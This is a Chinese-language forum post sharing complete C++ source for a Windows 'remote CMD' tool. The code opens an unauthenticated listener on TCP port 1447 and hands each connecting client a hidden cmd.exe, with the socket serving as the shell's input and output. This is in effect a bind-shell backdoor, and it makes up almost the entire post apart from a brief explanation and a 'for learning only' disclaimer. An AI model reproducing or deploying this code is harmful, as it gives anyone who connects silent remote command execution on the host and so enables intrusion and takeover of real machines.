|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
原理是把Socket套接字句柄作为子进程的stdin、stdout、stderr管道。
要实现这一步必须用WSASocket创建套接字。 不用创建管道,省区许多麻烦事儿。
上一张用Telnet连接的图吧。
仅供学习~不要干坏事哦。
@漩涡鸣人 @kklloo @~风介~ @牡丹花下死做鬼
- // ScoketPip.cpp : 定义应用程序的入口点。
- //
- #include "stdafx.h"
- #include "ScoketPip.h"
- #include <WinSock2.h>
- #pragma comment(lib,"ws2_32.lib")
- typedef struct
- {
- SOCKET childFd;
- SOCKADDR_IN childaddr;
- DWORD thread_id;
- }WorkInfo;
- DWORD WINAPI thread_worker(PVOID Parm)
- {
- // 这是工作线程函数
- WorkInfo info1;
- PROCESS_INFORMATION pi={0};
- STARTUPINFOA si={0};
- memcpy(&info1,Parm,sizeof(WorkInfo));
- // 创建进程
- si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
- si.wShowWindow = SW_HIDE;
- si.hStdInput = si.hStdOutput = si.hStdError = (void *)info1.childFd;
- char *welcome = "远程CMD\n作者:无名侠\n主页:www.pandaos.net\n";
- send(info1.childFd,welcome,strlen(welcome)+1,0);
- DWORD ret=CreateProcessA(NULL,"cmd.exe",
- NULL,NULL,1,0,NULL,NULL,&si,&pi);
- if (!ret)
- {
- char *error = "无法访问cmd.exe\n连接失败...\n";
- send(info1.childFd,error,strlen(error)+1,0);
- }
-
-
- closesocket(info1.childFd);
- // 销毁
- return ret;
- }
- int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
- _In_opt_ HINSTANCE hPrevInstance,
- _In_ LPTSTR lpCmdLine,
- _In_ int nCmdShow)
- {
- WSADATA wd={0};
- SOCKET sock;
- SOCKADDR_IN sockaddr={0};
- WSAStartup(MAKEWORD(2,2),&wd);
- sock = WSASocket(AF_INET, SOCK_STREAM,
- IPPROTO_TCP, NULL, 0, 0);
- if (sock==INVALID_SOCKET)
- ExitProcess(-1);
- sockaddr.sin_family = AF_INET;
- sockaddr.sin_port=htons(1447);
- sockaddr.sin_addr.S_un.S_addr=ADDR_ANY;
- if(bind(sock,(SOCKADDR *)&sockaddr,sizeof(sockaddr)))
- ExitProcess(-2);
- if(listen(sock,5))
- ExitProcess(-3);
- // 为每个用户运行一个cmd控制台
- while (true)
- {
- WorkInfo newwork;
- int slen;
- slen = sizeof(SOCKADDR_IN);
- newwork.childFd=accept(sock,(SOCKADDR *)&newwork.childaddr,&slen);
- if (newwork.childFd!=INVALID_SOCKET)
- {
- HANDLE hThread;
- hThread = CreateThread(NULL,0,thread_worker,&newwork,0,&newwork.thread_id);
- CloseHandle(hThread);
- }
- Sleep(200);
- }
- }
复制代码 |
评分
-
查看全部评分
|